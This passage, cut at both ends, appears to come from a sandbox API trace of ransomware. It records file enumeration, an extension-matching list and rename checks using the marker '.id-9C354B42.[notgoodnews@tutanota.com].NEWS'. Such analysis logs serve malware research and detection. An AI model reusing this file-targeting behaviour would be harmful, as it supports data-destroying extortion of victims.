shared\\ink\\alphabet.xml")) returned 0x20 [0050.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.401] lstrlenW (lpString=".doc") returned 4 [0050.402] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.402] lstrlenW (lpString=".docx") returned 5 [0050.402] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.402] lstrlenW (lpString=".pdf") returned 4 [0050.402] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.402] lstrlenW (lpString=".xls") returned 4 [0050.402] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.402] lstrlenW (lpString=".xlsx") returned 5 [0050.402] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.402] lstrlenW (lpString=".ppt") returned 4 [0050.402] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString=".zip") returned 4 [0050.403] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.403] lstrlenW (lpString=".rar") returned 4 [0050.403] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.403] lstrlenW (lpString=".bz2") returned 4 [0050.403] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.403] lstrlenW (lpString=".7z") returned 3 [0050.403] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString=".dbf") returned 4 [0050.403] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString=".1cd") returned 4 [0050.403] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString=".jpg") returned 4 [0050.403] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.403] lstrlenW (lpString=".doc") returned 4 [0050.404] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString=".docx") returned 5 [0050.404] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.404] lstrlenW (lpString=".pdf") returned 4 [0050.404] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString=".xls") returned 4 [0050.404] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString=".xlsx") returned 5 [0050.404] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.404] lstrlenW (lpString=".ppt") returned 4 [0050.404] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.404] lstrlenW (lpString=".zip") returned 4 [0050.404] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.404] lstrlenW (lpString=".rar") returned 4 [0050.404] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString=".bz2") returned 4 [0050.404] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.404] lstrlenW (lpString=".7z") returned 3 [0050.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.404] lstrlenW (lpString=".dbf") returned 4 [0050.404] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.405] lstrlenW (lpString=".1cd") returned 4 [0050.405] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0050.405] lstrlenW (lpString=".jpg") returned 4 [0050.405] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.405] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.405] lstrlenW (lpString="boxed-correct.avi") returned 17 [0050.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.409] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=89600) returned 1 [0050.409] CloseHandle (hObject=0x20c) returned 1 [0050.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0050.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.410] lstrlenW (lpString=".doc") returned 4 [0050.410] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".docx") returned 5 [0050.410] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0050.410] lstrlenW (lpString=".pdf") returned 4 [0050.410] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".xls") returned 4 [0050.410] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".xlsx") returned 5 [0050.410] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0050.410] lstrlenW (lpString=".ppt") returned 4 [0050.410] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.410] lstrlenW (lpString=".zip") returned 4 [0050.410] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".rar") returned 4 [0050.410] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".bz2") returned 4 [0050.410] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.410] lstrlenW (lpString=".7z") returned 3 [0050.410] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.411] lstrlenW (lpString=".dbf") returned 4 [0050.411] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.411] lstrlenW (lpString=".1cd") returned 4 [0050.411] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.411] lstrlenW (lpString=".jpg") returned 4 [0050.411] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.411] lstrlenW (lpString=".doc") returned 4 [0050.411] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.411] lstrlenW (lpString=".docx") returned 5 [0050.411] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0050.411] lstrlenW (lpString=".pdf") returned 4 [0050.411] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.411] lstrlenW (lpString=".xls") returned 4 [0050.411] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.411] lstrlenW (lpString=".xlsx") returned 5 [0050.411] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0050.411] lstrlenW (lpString=".ppt") returned 4 [0050.411] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.412] lstrlenW (lpString=".zip") returned 4 [0050.412] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.412] lstrlenW (lpString=".rar") returned 4 [0050.412] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.412] lstrlenW (lpString=".bz2") returned 4 [0050.412] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.412] lstrlenW (lpString=".7z") returned 3 [0050.412] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.412] lstrlenW (lpString=".dbf") returned 4 [0050.412] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.412] lstrlenW (lpString=".1cd") returned 4 [0050.412] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0050.412] lstrlenW (lpString=".jpg") returned 4 [0050.412] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.412] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.413] lstrlenW (lpString="boxed-delete.avi") returned 16 [0050.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.414] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=31744) returned 1 [0050.414] CloseHandle (hObject=0x208) returned 1 [0050.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0050.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.415] lstrlenW (lpString=".doc") returned 4 [0050.415] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".docx") returned 5 [0050.415] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0050.415] lstrlenW (lpString=".pdf") returned 4 [0050.415] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".xls") returned 4 [0050.415] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".xlsx") returned 5 [0050.415] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0050.415] lstrlenW (lpString=".ppt") returned 4 [0050.415] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.415] lstrlenW (lpString=".zip") returned 4 [0050.415] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".rar") returned 4 [0050.415] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".bz2") returned 4 [0050.415] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.415] lstrlenW (lpString=".7z") returned 3 [0050.416] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.416] lstrlenW (lpString=".dbf") returned 4 [0050.416] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.416] lstrlenW (lpString=".1cd") returned 4 [0050.416] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.416] lstrlenW (lpString=".jpg") returned 4 [0050.416] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.416] lstrlenW (lpString=".doc") returned 4 [0050.416] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.416] lstrlenW (lpString=".docx") returned 5 [0050.416] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0050.416] lstrlenW (lpString=".pdf") returned 4 [0050.416] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.416] lstrlenW (lpString=".xls") returned 4 [0050.416] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString=".xlsx") returned 5 [0050.417] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0050.417] lstrlenW (lpString=".ppt") returned 4 [0050.417] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.417] lstrlenW (lpString=".zip") returned 4 [0050.417] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString=".rar") returned 4 [0050.417] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString=".bz2") returned 4 [0050.417] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString=".7z") returned 3 [0050.417] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.417] lstrlenW (lpString=".dbf") returned 4 [0050.417] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.417] lstrlenW (lpString=".1cd") returned 4 [0050.417] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0050.417] lstrlenW (lpString=".jpg") returned 4 [0050.417] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.418] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.418] lstrlenW (lpString="boxed-join.avi") returned 14 [0050.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.418] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=33280) returned 1 [0050.418] CloseHandle (hObject=0x208) returned 1 [0050.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0050.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.419] lstrlenW (lpString=".doc") returned 4 [0050.419] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.419] lstrlenW (lpString=".docx") returned 5 [0050.419] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0050.419] lstrlenW (lpString=".pdf") returned 4 [0050.419] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.419] lstrlenW (lpString=".xls") returned 4 [0050.419] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.419] lstrlenW (lpString=".xlsx") returned 5 [0050.419] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0050.419] lstrlenW (lpString=".ppt") returned 4 [0050.419] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.419] lstrlenW (lpString=".zip") returned 4 [0050.419] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.419] lstrlenW (lpString=".rar") returned 4 [0050.420] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString=".bz2") returned 4 [0050.420] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString=".7z") returned 3 [0050.420] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.420] lstrlenW (lpString=".dbf") returned 4 [0050.420] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.420] lstrlenW (lpString=".1cd") returned 4 [0050.420] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.420] lstrlenW (lpString=".jpg") returned 4 [0050.420] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.420] lstrlenW (lpString=".doc") returned 4 [0050.420] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString=".docx") returned 5 [0050.420] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0050.420] lstrlenW (lpString=".pdf") returned 4 [0050.420] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.420] lstrlenW (lpString=".xls") returned 4 [0050.421] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString=".xlsx") returned 5 [0050.421] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0050.421] lstrlenW (lpString=".ppt") returned 4 [0050.421] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.421] lstrlenW (lpString=".zip") returned 4 [0050.421] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString=".rar") returned 4 [0050.421] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString=".bz2") returned 4 [0050.421] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString=".7z") returned 3 [0050.421] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.421] lstrlenW (lpString=".dbf") returned 4 [0050.421] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.421] lstrlenW (lpString=".1cd") returned 4 [0050.421] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0050.421] lstrlenW (lpString=".jpg") returned 4 [0050.421] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.422] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.422] lstrlenW (lpString="boxed-split.avi") returned 15 [0050.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.422] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=62976) returned 1 [0050.422] CloseHandle (hObject=0x208) returned 1 [0050.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0050.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.423] lstrlenW (lpString=".doc") returned 4 [0050.423] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".docx") returned 5 [0050.423] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0050.423] lstrlenW (lpString=".pdf") returned 4 [0050.423] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".xls") returned 4 [0050.423] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".xlsx") returned 5 [0050.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0050.423] lstrlenW (lpString=".ppt") returned 4 [0050.423] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.423] lstrlenW (lpString=".zip") returned 4 [0050.423] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".rar") returned 4 [0050.423] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".bz2") returned 4 [0050.423] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.423] lstrlenW (lpString=".7z") returned 3 [0050.423] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.424] lstrlenW (lpString=".dbf") returned 4 [0050.424] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.424] lstrlenW (lpString=".1cd") returned 4 [0050.424] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0050.424] lstrlenW (lpString=".jpg") returned 4 [0050.424] lstrcmpiW 